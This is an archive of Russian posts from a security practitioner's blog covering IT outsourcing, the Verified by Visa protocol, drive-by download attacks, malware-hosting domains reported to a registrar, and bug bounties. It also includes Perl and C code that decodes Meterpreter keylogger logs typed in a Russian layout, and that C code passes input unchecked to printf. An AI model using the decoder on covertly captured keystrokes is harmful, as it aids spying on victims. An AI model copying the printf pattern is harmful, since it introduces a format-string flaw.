REPLY-TO-ALL Information Security Blog

Все в аутсорсинг!

noreply@blogger.com (Sergey Soldatov) — Tue, 07 Feb 2012 10:33:00 +0000

Есть какой-то показатель - количество персонала на баррель добытой нефти (даже не смог быстро найти в Гугле как он называется). Смысл, в целом, понятен - чем меньше персонала, непрофильного, на баррель добытой нефти, тем нефтяная компания эффективнее. Говорят, это влияет на готовность банков давать кредиты, т.е. на размер заемного капитала. Ключевое слово здесь - "непрофильного". Отчасти от этого наблюдается тренд - функциональные подразделения ранее, теперь становятся подрядчиками. Не будем говорить , насколько аутсорсинг выгоден в условиях конкурентного рынка - вопрос сильно зависит от конкурентности среды (в РФ с конкуренцией ситуация особенная), также не будем говорить о том, что мерить фактическое количество персонала тоже достаточно глупо, - правильнее мерить себестоимость...

Тем не менее, предприятия активно выводят непрофильный бизнес на рынок отчасти из-за желания улучшить указанный показатель.

Поскольку все читали модные книжки про ITIL, CobIT и т.п., аутсорсинг ИТ - распространенное явление. Всем понятны процессы, метрики, услуги, компоненты, SLA-и и прочие атрибуты качественного аутсорсинга.

Почему-то иногда (или зачастую), тем не менее, ИТ-аутсорсинговая компания остается дочерней компанией Заказчика. Это позволяет Заказчику влиять на различные внутренние процессы Подрядчика, что, очевидно, перекашивает аутсорсинг.

В частности, Зказачик может потребовать от Подрядчика сокращения численности. Может, по причине необходимости улучшения показателя о чем писалось ранее в этом посте (действительно, компания-то дочерняя!), может, еще по каким причинам. При этом, сокращая численность, никто не говорит о том, что следует сокращать объемы или снижать качество! Какое-то время Подрядчик крутится, оказывая прежний объем услуг уже сокращенной численностью (при этом, кстати, наблюдается нереальная рентабельность, правда, ценой "перегрева" ресурсов), но потом вынужден что-то придумывать... Мультисорсинг! Вот решение!

В целом, нормальное решение - часть услуг, которые по каким-то критериям отобраны (отчасти этим критериям и посвящен пост, см ниже) передаются на рынок. При этом Подрядчик становится генподрядчиком, а фактические исполнители этих, отобранных, услуг - на субподряде. Нормально. Только подход с замораживанием\сокращением штата - абсолютно неправильный, ибо штат - функция объемов, и стимулировать переход некоторых услуг на рынок штатом - неправильно. Это приводит к "шоковому" аутсорсингу, который в итоге приводит (тут сильна зависимость от менеджмента: при талантливом руководстве, очевидно, "шоковость" может и не сказаться, но где его взять талантливого :-(....) к снижению качества услуг (построить непрерывный сервис из дырявой штатки - надо уметь!).

Но, вернемся к тому, что мультисорсинг неплох и попробуем сформулировать критерии вывода услуг на рынок. Я бы предложил следующие критерии:
1. Критичность. Как бы мы не верили в эффективный (== способный предоставить достойное качество сервиса) рынок, не все можно распродавать. Сюда относятся услуги, которые критичны по качеству, по доступности, по безопасности и т.п. Вопрос спорный, - идеалист может возразить, что теоретически можно все предусмотреть SLA-ем, но на практике создать идеальный SLA крайне сложно, а есть случаи, когда ошибаться нельзя. Тут еще такой момент: в высокотехнологичном сервисе, квалификация приемщика услуг должна быть не ниже Подрядчика, банально, чтобы понять и оценить. Да, мы придумываем метрики, пытаемся все померить и посчитать, чтобы численно выразить что такое плохо и что такое хорошо, но на практике не все так просто :-( Скажу даже больше, высококвалифицированный ИТшник, как и Безопасник должен постоянно быть "в бою", - и потому что для обладания экспертизой нужно иметь постоянную практику, и потому что в мире ИТ все крайне динамично меняется. В общем, как минимум, экспертиза какая-то быть должна надежная (== своя).
2. Наличие предложения на рынке. Нам нужна конкуренция, как единственный механизм обеспечения качества. Если на рынке нет\мало поставщиков, удовлетворяющих всем необходимым требованиям, очевидно это нельзя зааутсорсить.
3. Внутренние компетенции по услуге. Если мы обладаем высоким уровнем внутренней компетенции, бенчмаркинг показывает высокую эффективность (effectiveness & efficiency) нашего сервиса, это не надо продавать. Отсюда, кстати небольшое следствие: если что-то мы делать не умеем или делаем плохо, давайте попробуем это зааутсорсить. Но тут надо учесть то, что для приемки также нужна экспертиза (см. 1).
4. Степень соответствия стратегии. Да, у Подрядчика тоже должна быть Стратегия и, как следует из ISACAиных книжек про Governance, она должна тесно коррелировать со стратегией Заказчика\Компании. Стратегически важные сервисы не надо продавать.
5. Степень формализации требований Заказчика к услуге. Тут все понятно: не надо продавать то, что неформализовано, - тяжело оценить степень соответствия ожиданиям. Тоже, вроде как, все понятно, но если мы аутсорсимся потому что сами делаем плохо (п 3), очевидно оно у нас не формализовано, надо с этим что-то делать :-(
6. Себестоимость. Критерий сильно коррелирует с 3, ибо полностью про efficiency, но, думаю его стоит выделить отдельно. Смысл прост: если что-то мы делаем дороже, чем можно это купить на рынке, это стоит вывести на рынок. Если услуга на рынке стоит дороже, чем мы сами это делаем, лучше делать самому.

Критерии спорные, но в любом случае, какие-то должны быть, чтобы процесс вывода сервисов был продуманным, тут очень важно не ошибаться.

В заключение о правильном подходе:
1. придумать критерии,
2. пропустить через них все услуги Подрядчика
3. Вывести то, что по критериям надо выводить.
Идем от услуг и критериев, не от штата на баррель :-)

Понять лог keylogrecorder

noreply@blogger.com (Sergey Soldatov) — Mon, 23 Jan 2012 03:51:00 +0000

Неплохая статья на Хабре о Meterpreter, способствует желанию все испробовать. Наибольший интерес, конечно, вызывает кейлоггер, - действительно, полезная штука. Проблема только в том, что, как правило, русские люди пишут по-русски, тогда как keylogrecorder, конечно, об этом не догадывается. Как следствие - просмотр логов его работы не дает желанных результатов :-(. Получается что-то типа такого:

$ cat test.txt

Ujybvs dtiybvb kexfvb?

C jrhtcns[ ujh e;t cytuf

C,t;fkb venysvb hexmzvb

Yf gjnjgktyyst keuf

<return> 'nj ntcn <ctrl> Ntcn 'nj <lctrl> <alt> Fktrcfylh Cthuttdbx Geirby<lmenu>

Может кто, возможно, глядя на это поймет что здесь написано, но я подобными способностями не обладаю.

Первое что приходит на ум - Perl-овый tr, что-нибудь типа:

tr/`qwertyuiop[]asdfghjkl;'zxcvbnm,./ёйцукенгшщзхъфывапролджэячсмитьбю/

При этом программка выглядит так:

$ cat tr1.pl

#!/usr/bin/perl -w

while (){
tr/`qwertyuiop[]asdfghjkl;'zxcvbnm,./ёйцукенгшщзхъфывапролджэячсмитьбю/;
print;
}

Но не все так просто, к моему глубочайшему сожалению. Русские буквы, бывает, кодируются UTF-8 в 2 байта, а английские - в 1 байт...

Абсолютно рабочим вариантом является recode наш tr (всю Perl-овую программку) в кодировку где русские буквы однобайтовые, например так:

$ recode UTF-8..KOI8r tr-koi8r.pl

Затем, этим tr-koi8r.pl можно уже транслировать продукт keylogrecorder-а.

$ cat test.txt | ./tr-koi8r.pl >test2.txt

Помним, что у нас локаль - UTF-8...

у меня на Debian оно выглядит так:

$ locale

LANG=en_US.utf8

LANGUAGE=

LC_CTYPE="en_US.utf8"

LC_NUMERIC="en_US.utf8"

LC_TIME="en_US.utf8"

LC_COLLATE="en_US.utf8"

LC_MONETARY="en_US.utf8"

LC_MESSAGES="en_US.utf8"

LC_PAPER="en_US.utf8"

LC_NAME="en_US.utf8"

LC_ADDRESS="en_US.utf8"

LC_TELEPHONE="en_US.utf8"

LC_MEASUREMENT="en_US.utf8"

LC_IDENTIFICATION="en_US.utf8"

LC_ALL=

..., поэтому результат, test2.txt, следует вернуть в юникод:

$ recode KOI8r..UTF-8 test2.txt

И..., вуаля, уже что-то:

$ cat test2.txt

Uонимы вешними лучами?

C окрестых гор уже снега

Cбежали мутными ручьями

Yа потопленные луга

<rуегкт> это тест <cекд> Nест это <lcекд> <aде> Fлександр Cергеевич Gушкин<lmутг>

Есть кое-какие артефакты, но это потому, что заглавные буквы я забыл (:-) указать в tr, перевелись и управляющие клавиши, типа <lctrl> <alt> и т.п. Тем, не менее, в целом, такой вариант перевода трудов keylogrecorder-а, также возможен: программка на Perl в три строчки, дважды recode и все!

Но, почему-то этот варинат показался мне неспортивным! Решил тряхнуть стариной, написать транслятор на С. Последний раз я интенсивно писал на С уже как десять лет назад, поэтому не могу похвастаться что получилось все сразу просто и быстро. Но, в целом, ничего сложного в коде нет, поэтому не буду много разглагольствовать, просто приведу исходник. Программа учитывает управляющие последовательности типа (в коде это реализовано двумя способами, один из способов закомментарин, показался также неспортивным, но у него есть определенные преимущества перед вторым способом, поэтому полностью его убивать жаль), заглавные буквы, и пунктуацию в русской раскладке.

$ cat trc.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int checkIfCtrl(char *p);

int main(int argc, char **argv){
   const int n = 512;
   char *buf, *buf2, *ten, *tru, *tb, *tb2;
   char *enl = "`qwertyuiop[]asdfghjkl;'zxcvbnm,.~QWERTYUIOP{}ASDFGHJKL:ZXCVBNM<>\"";
   char *rul = "ёйцукенгшщзхъфывапролджэячсмитьбюЁЙЦУКЕНГШЩЗХЪФЫВАПРОЛДЖЯЧСМИТЬБЮЭ";
   char *enl1 = "/?&^$";
   char *rul1 = ".,?:;";
   int b = (int) strlen(rul)/strlen(enl), i;
   //char *words[] = {"<Next>","<Prior>","<Return>","<Ctrl>","<LCtrl>","<Alt>","<LMenu>","<Back>","<Delete>","<N3>","<N0>","<Right>","<Tab>"};
   //int wn = 13;
   int wil;

   buf = (char *) malloc(n);
   memset(buf,0,n);
   buf2 = (char *) malloc(n*b);
   memset(buf2,0,n*b);

   while( 0 != fgets(buf,n,stdin) ){
      tb2 = buf2;
      for(tb = buf; *tb != '\0'; tb++){
         /*for (i=0; i<wn; i++){ //ctrl
            wil = strlen(words[i]);
            if (strncmp(tb,words[i],wil) == 0){
               memcpy(tb2,tb,wil);
               tb += wil;
               tb2 += wil;
            }
         }*/
         if( (wil = checkIfCtrl(tb)) > 0){ //ctrl
            memcpy(tb2,tb,wil);
            tb += wil;
            tb2 += wil;
         }
         if ( (ten = strchr(enl, *tb)) != 0 ){
            tru = rul + b*(ten-enl);
            memcpy(tb2,tru,b);
            tb2 += b;
         }
         else if ( (ten = strchr(enl1, *tb)) != 0 ){
            tru = rul1+(ten-enl1);
            memcpy(tb2,tru,1);
            tb2 += 1;
         }
         else {
            memcpy(tb2,tb,1);
            tb2 += 1;
         }
      }
      printf(buf2);
      memset(buf2,0,n*b);
      memset(buf,0,n);
   }

   free(buf2);
   free(buf);
   return 0;
}
/////////////////////////////////////////////////////////////////////////
int checkIfCtrl(char *p){
   int lmax = 10, i, flag=0;
   char b='<', e='>';

   if(*p == b){
      for(i=0; i<lmax; i++){
         if (*(p+i) == e){
            flag = 1+i;
            break;
         }
      }
   }
   return flag;
}

Сразу прошу снисхождения к моим навыкам академического программирования. Но, если есть предложения по развитию этой микро-программки (во термин - micro-soft), буду рад их увидеть.

Компилируем:

$ gcc trc.c -o trc

Результат работы:

$ cat test.txt | ./trc

Гонимы вешними лучами,

С окрестых гор уже снега

Сбежали мутными ручьями

На потопленные луга

<return> это тест <ctrl> Тест это <lctrl> <alt> Александр Сергеевич Пушкин<lmenu>

Совсем хорошо!

Кривовато, правда... Более правильным кажется использование штатных С-шных функций для двухбайтовых символов, описанных в wchar.h и wctype.h, но просто и быстро у меня это почему-то не получилось (помню на VC под win пару лет назад получалось), поэтому я эту идею бросил, может, в следующий раз...

Представленные здесь варианты решили мою задачу, надеюсь, могут быть полезны и вам.

Verified by Visa

noreply@blogger.com (Sergey Soldatov) — Tue, 06 Dec 2011 04:01:00 +0000

Любопытная статья и еще более любопытный документ. Названия тянут на бомбу, но по сути изложены очевидные вещи. Речь идет о безопасности протокола аутентификации владельцев карты Visa при выполнении ими online-покупок. В целом, мое мнение, чтобы написать подбные "труды" достаточно самому хотя бы раз выполнить покупку картой виза через Интернет и прочитать статью на Wikipedia. Конечно, я делал и то и другое, поэтому позволю себе тут рассуждения. Читать лучше сразу PDF, так как статья содержит в себе еще меньше пользы, хотя размер их соизмерим :-) Полезная нагрузка начинается с главы 2, где повествуется об уязвимостях схемы 3DS.
Самая первая уязвимость, видимо, самая важная - "Confusing the user - hiding security cues" о том, что окно аутентификации при реализации 3DS открывается в iFrame и поэтому не видно домена (а также того, как браузер подсвечивает строку URL с неправильным сертификатом TLS), запросившего аутентификацию. Может, в какой-то мере, это снижает безопасность, но:
1. Ничто не мешает банку аутентифицировать в новом окне браузера, тогда даже и строку URL будет видно со всеми ее подсветками.
2. Легитимность сайта подтверждается его сертификатом. При этом, если сертификат протух, не на тот сайт или выдан неизвестным CA браузер выбрасывает промптер предупржедения в котором подробнейшим образом указана проблема, предлагается посмотреть сертификат собственноручно, и только после добавления в исключения все-таки показать его контент. Обход столь сложной процедуры возможен только если:
-- "зловредный" CA, выдавший сертификат подложному сайту, каким-то образом "протрастщен" (добавлен в доверенные удостоверяющие центры) на endpoint-е => мой endpoint компрометирован => есть масса других способов утащить мои секреты и обмануть меня.
-- секретный ключ CA компрометирован и я об этом не знаю (или никто об этом не знает) и злоумышленники подписывают им сертификаты всем негодяям подряд. На этот риск я не могу сильно вилять => его не следует рассматривать

Отдельно следует поговорить про безопасность endpoint-а. Поскольку это элемент платежной системы, безусловно, к нему должны предъявляться требования. Идеально, если банк мог бы проверить их выполнение, но на практике это крайне сложно, поэтому, в обязательном порядке:
- банк должен давать рекомендации для пользователей сервиса "Online Shopping-а"
- желательно наличие каких-либо сервисов от банков, где можно было бы проверить этот compliance (не обязательно online-овых)
- должна быть четко определена ответственность клиента в данном сервисе: клиент должен отвечать только за полное соблюдение требований, но не за весь сервис.

Да, я тут пишу "банк"... "банк".... Дело в том, что 3DS - это лишь framework, конкретная реализация схемы аутентификации - за банком, поэтому, насколько хороша (надежна, безопасна) схема полностью зависит от банка. Да, есть "глупцы", благодаря которым и появляются все эти наукообразные статьи и "исследования", но есть и вполне себе достойные.

Уверен, что для наведения порядка в этом 3DS, Visa должна выпустить ряд требований к реализации этого 3DS, как это сделано, например в PCI DSS.

Но вернемся к статье.
В П 2.2. "Activation during shopping" указана уязвимость слабой аутентификации клиента, указано, что кто-то спрашивает только день рождения. Согласен, что это бред и процедура здесь должна быть аналогична применяемым в системах ДБО. Где-то это какие-то секретные ключи, за которыми надо пешком сходить в банк, где-то это SMS-уведомления с одноразовыми паролями. Если кто-то реализовал глупость, не следует ее сразу обобщать на всех. Также указано, еще более веселая мысль о том, что сайт запрашивает у клиента персональную информацию и это делает его более склонным к социальной инженерии, когда уже фишеры будут запрашивать то же самое: ответил банку, ответит и фишеру. Даже комментировать не буду :-)

В П 2.3 "Informed consent and password choice" утверждается, что: Пользователь, сконцентрированный на приобретение товара (сценарий activation during shopping (ADS)) будет выбирать слабый пароль. Контроль оцевиден: банк не должен принимать простые пароли и вообще реализовывать политику: сложность, длина, периодическая смена, автоблокировка при неправильных вводах.

П 2.4 "Liability shifting" посвящен тому, что Банк "по-тихому" взваливает всю ответственность за компрометацию на клиента. Это тоже необходимо разрулить Визе (как я отмечал выше): пользовать может (и должен!) следовать только четко указанным требованиям, отвечать за все он не может технически (и не должен!). Снимать ответственность полностью с пользователя - не правильно, так как его endpoint - компонента общей системы и ее компрометаци приводит к компрометации системы.

В п 2.5 предлагается некоторое усиление механизма аутентификации банка у клиента, думаю сертификата вполне достаточно (см выше). Если хочется реализовывать еще и это - лишним не будет.

П 2.6 посвящен раличным чудачествам банков относительно того, как они аутентифицируют клиентов при использовании схемы и при смене аутентификационных данных. Что же в семье, как говорится, не без урода. Требовния от Visa к реализациям аутентификации в 3DS должны решить проблему.

П 2.7 - про Privacy. О этот вечный баланс между Security и Privacy:

Нужно помнить следующее:
1. Про аутсорсинг. Если есть объективные причины мои данные передавать аутсорсеру и аутсорсер обязуется охранять мои данные не хуже банка, какой для меня риск? Я на днях ходил в ГИБДД за справкой о ДТП там на входе мои паспортные данные записали в журнальчик... меня больше беспокоит этот журнальчик, кто его читает, как он утилизируется и т.п. Причем такой журнальчик есть практически везде. А мы тут голову ломаем о том что говорить Роскомнадзору и ФСБ, когда ФЗ-152 - нигде не работает.
2. В конечном счете, меня, как субъекта можно аутентифицировать только моими персональными данными. У меня больше ничего нет.

Сухой остаток:
1. Ждем от Visa требований к реализации протоколов аутентификации.
2. От банков ждем требований по безопасности endpoint-а (кое-где видел, но Visa должна обязать такие требования готовить).
3. То, что аутентификационные механизмы отданы на реализацию банкам - правильно, с Visa только требования и разделение ответственности.

Эволюция атак Drive-by Download

noreply@blogger.com (Sergey Soldatov) — Mon, 28 Nov 2011 06:31:00 +0000

Выкладываю нашу презентацию на ZeroNights.
Для тех, кто не был непосредственно на конференции, хочется сказать пару слов о презе (пару слов о самой конференции скажу чуть позже, когда эмоции превратятся в мысли :-)).

Все что представлено в презентации является следствием нашего внимательного анализа событий систем обнаружения вторжений, антивируса и HTTP-прокси. Все показанные здесь события были взяты непосредственно из наших логов (которые по долгу службы мы должны смотреть), отражающих посещения Интернет наших пользователей.

Цель данной презентации ни в коем случае не оскорбить кого-либо, а привлечь внимание к проблеме и, возможно, найти более эффективные меры борьбы, чем мы тут сами пытаемся применять.

Вполне возможно, что у нас какая-то не та карма и в других сетях такие чудеса не наблюдаются, но мы вынуждены мириться, ибо мы защищаем наших пользователей каковы бы не были их интересы и какова бы не была наша карма.

Drive-by download attack evolution

REG.ru нам не поможет :-(

noreply@blogger.com (Sergey Soldatov) — Sat, 12 Nov 2011 16:35:00 +0000

Стали фиксировать некоторые изменения в развитии проблемы. Если раньше эксплоиты и зловреды хостились на индийских доменах (закрыли их весьма просто regExp-ом: "\.in$"), то сейчас - на наших отечественных. Причем здесь наблюдаются еще элементы социальной инженерии - мол, проблемы у вас с IE, давайте мы вам починим....

Что же это за домены *ie.ru??

01ie.ru

IP-адрес: 46.4.82.48

По данным WHOIS.RIPN.NET:

Домен:	01IE.RU
Сервер DNS:	ns3.fastvps.ru.
Сервер DNS:	ns4.fastvps.ru.
Статус:	зарегистрирован, делегирован, не проверен
Администратор домена:	Частное лицо "Private Person"
E-mail:	poshli@nahuy.ru
Регистратор:	REGRU-REG-RIPN
Дата регистрации:	2011.11.01
Дата окончания регистрации:	2012.11.01
Источник:	TCI

02ie.ru

IP-адрес: 46.4.82.48

По данным WHOIS.RIPN.NET:

Домен:	02IE.RU
Сервер DNS:	ns3.fastvps.ru.
Сервер DNS:	ns4.fastvps.ru.
Статус:	зарегистрирован, делегирован, не проверен
Администратор домена:	Частное лицо "Private Person"
E-mail:	poshli@nahuy.ru
Регистратор:	REGRU-REG-RIPN
Дата регистрации:	2011.11.01
Дата окончания регистрации:	2012.11.01
Источник:	TCI

03ie.ru

IP-адрес: 46.4.82.48

По данным WHOIS.RIPN.NET:

Домен:	03IE.RU
Сервер DNS:	ns3.fastvps.ru.
Сервер DNS:	ns4.fastvps.ru.
Статус:	зарегистрирован, делегирован, не проверен
Администратор домена:	Частное лицо "Private Person"
E-mail:	poshli@nahuy.ru
Регистратор:	REGRU-REG-RIPN
Дата регистрации:	2011.11.01
Дата окончания регистрации:	2012.11.01
Источник:	TCI

Пишем в Reg.ru - так, мол и так, домены с владельцем (poshli@nahuy.ru ) хостят зловред, давайте их удалим. На следующий день получаем ответ, цитирую (не думаю, что я что-то нарушу процитировав его, но персоналии, на всякий случай, удалю):

> -----Original Message-----
> From: Клиентская служба [mailto:manager@reg.ru]
> Sent: Friday, November 11, 2011 2:03 PM
> To:
> Subject: Re: [Ticket#2011111010003016] Заявка "Домены 01ie.ru, 02ie.ru,
> 03ie.ru установка вредоносного ПО без ведома пользователя"
>
> Здравствуйте,
>
> ООО "Регистратор доменных имен РЕГ.РУ" является Аккредитованным
> регистратором доменных имен и осуществляет свою деятельность в строгом
> соответствии с Правилами регистрации и Регламентами. В соответствии с
> Правилами регистрации доменных имен в домене RU все операции с доменами
> осуществляются на основании заявок от Администратора домена. Если
> Администратором домена являетесь Вы, то Вы вправе на основании
> официального письма совершать любые действия с доменом, в том числе
> аннулировать регистрацию.
>
> Если Вы считаете, что информация, расположенная на домене, является
> незаконной, Вам следует обратиться к хостеру, который предоставляет
> хостинг для данного домена. Информацию о хостере Вы можете посмотреть,
> используя сервис WHOIS.
>
> Если Вы считаете, что Ваши права нарушены Администратором домена, Вам
> необходимо связаться с ним для выяснения обстоятельств. Контактную
> информацию об Администраторе Вы можете найти в WHOIS.
> В случае, если у Вас не получится уладить Ваши претензии к
> Администратору домена путем переговоров, Вы можете обратиться в суд в
> порядке искового производства.
> Мы, в свою очередь, вправе принять меры к Администратору домена (а
> именно, аннулировать регистрацию этого доменного имени) только на
> основании вступившего в законную силу судебного решения.
>
> В соответствии с Правилами регистрации доменных имен в домене RU
> Регистратор аннулирует регистрацию домена на основании судебного
> решения.
>
> "9.2. Регистратор самостоятельно прекращает право администрирования
> после получения доказательств наличия вступившего в законную силу
> решения суда:
> (1) запрещающего Администратору использовать в доменном имени
> обозначение, правами на которое обладает истец;
> (2) признающего администрирование домена Администратором нарушением
> прав истца (если применение такого средства восстановления нарушенного
> права не противоречит судебному решению)
> (3) иным образом обязывающего Администратора отказаться от доменного
> имени."
>
> --
> С уважением,
>
> Специалист Службы по работе с клиентами
> Регистратор доменных имен REG.RU
> Телефон: +7 (495) 580-11-11
> http://www.reg.ru
> http://рег.рф

В общем, идея коллективной взаимопомощи в мире где все всем по... не важно, умирает. Я не понимаю, почему REG.ru не может удалить эти домены на том простом основании, что предоставленные при регистрации данные не соответствуют действительности...

PS: написали в хостера. Реакции так же нет.

Сигнатурные антивирусы, прощайте

noreply@blogger.com (Sergey Soldatov) — Wed, 09 Nov 2011 15:06:00 +0000

Продолжая потихоньку сражаться с проблемой, решил, таки посмотреть, что же там качают...

Приведу фрагмент странички, хостящей зловред:
Вот, что-то никогда не доводилось взглянуть, а как все интересно!
a - массив чудовищной длины, фактически байтов, которые там раскиданы по порядку, известному разработчику (в данном примере - обратный порядок).
Из этого "набора" потом в переменную s набирается побайтовым "выкусыванием", собственно, код, который затем выполняется в eval(s).

Какому-нибудь сканеру вредоносности кода, чтобы увидеть вредоносность надо его собрать, а чтобы его собрать надо знать алгоритм по которому он разбросан...

Тему можно дальше развивать до бесконечности:
- также набирать, скажем индекс "выкусывания",
- также набирать "опасные" команды, типа eval, substr, тп
- можно сильно усложнить алгоритм "выкусывания"
- ... человеческая фантазия безгранична ...
Полиморфизм, однако.

Можно попробовать что-то вроде песочницы, т.е. фактически выполнить код, как это сделал бы браузер. Делать это можно, если недолго (антивирус должен работать незаметно!). Но, можно же вставить искусственные задержки (sleep) , можно вставить естественные задержки, скажем, в цикле пытаться что-то поделать небыстрое, ... - пользователь замучится ждать, пока антивирус собирет - не вариант.

Печально что мой, не изощренный мозг, ограниченного горе-программиста с ходу придумывает такое количество схем обфускации, практически полностью убивающих идею обнаружения зловреда до его поражения жертвы, что же говорить о высококлассных профи :-(

Опыт показывает, что все эти сэмплы практически не детектятся никем из Virustotal, пока в соответствующие поддержки не пришлешь сэмплы и они не выпустят экстры. Что уж в этих экстрах - не разбирался, но судя по тому, что ровно такая же штука (с небольшими изменениями) срабатывает снова и снова, складывается недоброе впечатление что там чуть ли не сравнение по MD5 :-(

PS: я посмотрел в некий .class (использовал javap), там тоже белиберда и substr-ы (java/lang/String.substring). По ходу та же техника....

Приз вместо оплаты услуг, продолжение.

noreply@blogger.com (Sergey Soldatov) — Sun, 06 Nov 2011 15:16:00 +0000

Публикация вызвала любопытный спор в группе RISSPA на LinkedIn-е. Спор - это всегда хорошо, так как он позволяет приблизиться к истине (постараюсь быть самокритичным: есть у меня склонность к троллингу, но, зная за собой сей грешок, всегда стараюсь держать себя в руках) . Мне не показались убедительными доводы моих оппонентов, тогда как собственная логика вполне себе пригодной. В данном блоге я, все-таки, намерен излагать свои умозаключения, но быть объективным и привести доводы оппонентов и свои ответы на них. Пишу, главным образом, для тех, кто по каким-либо причинам не участвует в нашем RISSPA-LinkedIn-овском междусобойчике :-), но кому идея может показаться любопытной.

Итак, я пытаюсь применить такие конкурсы в качестве средства анализа защищенности (теста на проникновение) интернет-сервисов коммерческой компании. Такой подход, на мой взгляд, имеет ряд серьезных преимуществ для Заказчика (коммерческой компании):

Выбор подрядчика происходит по факту выполненных работ, а не на основании предположения как подрядчик, наверно, это сделает. Сложившаяся практика такова: Заказчик пишет Техтребования, требования к квалификации подрядчика, вывешивает их на свой сайт с предложением слать оферты. Потенциальные Подрядчики высылают в назначенный час свои оферты с информацией о том, какие они хорошие. Заказчик рассматривает предложения, отсеивает тех, кто не проходит по каким-либо квалификационным требованиям, а из оставшихся квалифицированных выбирает по минимальной цене победителя. Т.е. на момент выбора Подрядчика Заказчик не имеет ни малейшей уверенности, что Подрядчик отработает хорошо. Критерий минимальной цены здесь играет далеко не в интересах Заказчика.
Множество независимых результатов позволит более объективно оценить качество работ. По "устоявшейся" схеме после отработки подрядчика Заказчик получит единственный результат, собственно, результат работы Подрядчика. Для оценки качества работы Подрядчика, Заказчику, в случае пентеста, надо провести свой пентест: ОК, если Подрядчик нашел хоть что-то, но если он не нашел ничего, означает ли это, что Заказчик хорошо защищен? Или просто Подрядчик так отработал (как смог)? Множество независимых результатов эту проблему смягчают: если Подрядчик1 не нашел ничего, а Подрядчик2 - что-то, - уже есть смысл задуматься.
Заказчик гарантированно впишется в свой бюджет. Тут все понятно: Заказчик сам объявляет приз, и не возможна ситуация, когда запланированный на пентест бюджет ниже любой присланной оферты.
Подобные конкурсы позволят открывать новые имена. При открытом конкурсе, когда участвовать сможет каждый желающий, больше шансов для формирования действительно конкурентной среды, что, безусловно, повысит качество услуг.

Изобретатели и яростные сторонники современных тендерных процедур мне возразят, что оплата всегда производится по факту выполненных работ и это гарантирует Заказчику защиту от некачественных услуг. Но, не все так просто. Крайне тяжело оценить качество пентеста, когда есть просто куча НО. Фактически, чтобы доказать Подрядчику, что работы, им проделанные, низкого качества, Заказчику надо провести аналогичные работы.... иначе, я не знаю как. Очевидно, нанимая Подрядчика, Заказчик тем самым подтверждает по тем или иным причинам свою неспособность в выполнении этих работ, а следовательно, Подрядчик неплохо устроился :-)

Теперь перейдем к аргументам моих оппонентов.
1. Возможна низкая эффективность такого конкурса. Тут мне кажется, что все зависит от мотивации. Можно придумать неплохую стратегию проведения таких конкурсов, где продумать вопросы мотивации участников. Сейчас, банально, чем выше призовой фонд, тем бОльшая эффективность будет у конкурса. В любом случае, все работают за деньги. Можно продумать какие-либо еще варианты: какое-нибудь схемы взаимного сотрудничества, рекламы и т.п.
2. Подобные конкурсы будут работать только в разовых акциях и непригодны для постоянного процесса. Во-первых, совсем не обязательно пентестить сайт на постоянной основе, скажем, раз в год. Во-вторых, все опять же упирается в мотивацию: никто не мешает, например, оплачивать любую информацию об обнаруженной уязвимости, - при такой постановке вопроса уже мы наблюдаем процесс. Примерно это может выглядеть так: Заказчик сделал Интернет-сервис, запустил конкурс. Условиями может быть оплата каждой найденной уязвимости в пропорции к ее критичности, например (все это можно прописать в техтребованиях).
3. Подобные конкурсы приведут к тому, что Черные шляпки будут использовать найденные уязвимости в своих грязных делишках. Мое мнение, что на этот риск наличие или отсутствие конкурса никакого влияния не имеет. Позиция, что меня никто не ломает, потому что обо мне никто не знает не очень вяжется с маркетингом, поскольку если Интернет-сервис должен приносить прибыль, он должен быть известен. Ну а с тем, что ломают то, что известно и посещаемо - надо мириться и как-то бороться.
4. Публичная огласка степени "дырявости" веб-ресурса серьезно подмочет репутацию компании Заказчика. Стратегия "молчания в тряпочку" - наиболее разумная. Во-первых, все зависит от важности сайта для бизнеса Заказчика. Если сайт является, что называется, core-бизнес, то, уверен, его надо публично исследовать. Во-вторых, публикации типа этой, даже если они вышли до фактического исправления, на мой взгляд, вызывают меньший резонанс, чем информация о том, что какой-нибудь Изя Питерский тайно заломал сайт 15 месяцев назад, извелкал из него какую-либо выгоду, а когда надоело - продал конкурентам, которые глумились уже более продуманным образом (еще раз, публичность или непубличность исследований не будет хоть как-то коррелировать с работой Изи). Выход публикаций об узявимостях уже означает, что по ним рабоатют и латают. К тому же, остается надежда на этичность исследователей и подобные уязвимости пойдут в публикацию уже после исправления. Я абсолютно уверен, что стратегия "молчания в тряпочку" значительно менее эффективна, чем всестороннее исследование.

Напоследок, еще раз хочется подытожить, что то, что такие конкурсы обходятся дешевле среднестатистического пентеста - не основной мой аргумент ЗА, основное здесь - большая гарантия качества, чем при классическом конкурсном подходе в случае работ, где качество оценить самому Заказчику крайне сложно. Но есть Сообщество, которое поможет. Все-таки я склонен думать, что хороших людей больше и идея свободы информации в добрых целях жива не только в моем сознании.

Приз вместо оплаты услуг

noreply@blogger.com (Sergey Soldatov) — Fri, 04 Nov 2011 19:12:00 +0000

Вот тоже интересная идея! Допустим, по вашим корпоративным стандартам положено пентестить каждый web-сервис, который должен волей бизнеса быть доступен из Интернет. Видя приз в $5000 могу с уверенностью сказать, что эта сумма значительно ниже заказного пентеста. Может, лучше такие конкурсы объявлять, чем конкурсы на выбор подрядчика?!

Нет риска, что работа будет выполнена плохо: действительно платим только победителю, значит, он что-то найдет (можно тут ознакомиться с примерно полным перечнем опасений).

Цена - крайне привлекательна.

О Рекламе и Антирекламе

noreply@blogger.com (Sergey Soldatov) — Thu, 03 Nov 2011 17:44:00 +0000

Мы в нашем SOC-е уже давно трейсим проблему с переменным успехом: каждый день тонны новых сайтов, хостящих эксплоиты причем в чем угодно: pdf, swf, java, exe ... Куча сэмплов засылаются в антивирусных вендоров, virustotal напрягается, вендоры тоже, наш хелпдеск устал перезаливать десктопы, мы с ИТ-шниками постоянно в тонусе: ломаем голову как бы это закрыть на периметре, чтобы более не напрягало. Пока не понятно в чью пользу. Мы склонны думать, что это работает автомат, которого постоянно подкармливают эксплоитами и пейлоадами, а также потенциальными целями (выбираются наиболее посещаемые сайты) и снимают "урожай" уже компрометированных клиентов. Возможно, последние потом просто продаются, но это вопрос отдельного изучения.

Впечатляют масштабы этого безобразия: мы анализируем только посещения наших пользователей, да у нас большая сеть, но в масштабах Интернет - капля. Достаточно много вполне себе приличных сайтов новостей, известных на всю страну организаций взломано. Причем, когда мы сообщаем в соотвествующие поддержки сайтов и проблема устраняется, практически на следующий день снова наблюдаем хостящийся эксплоит :-)

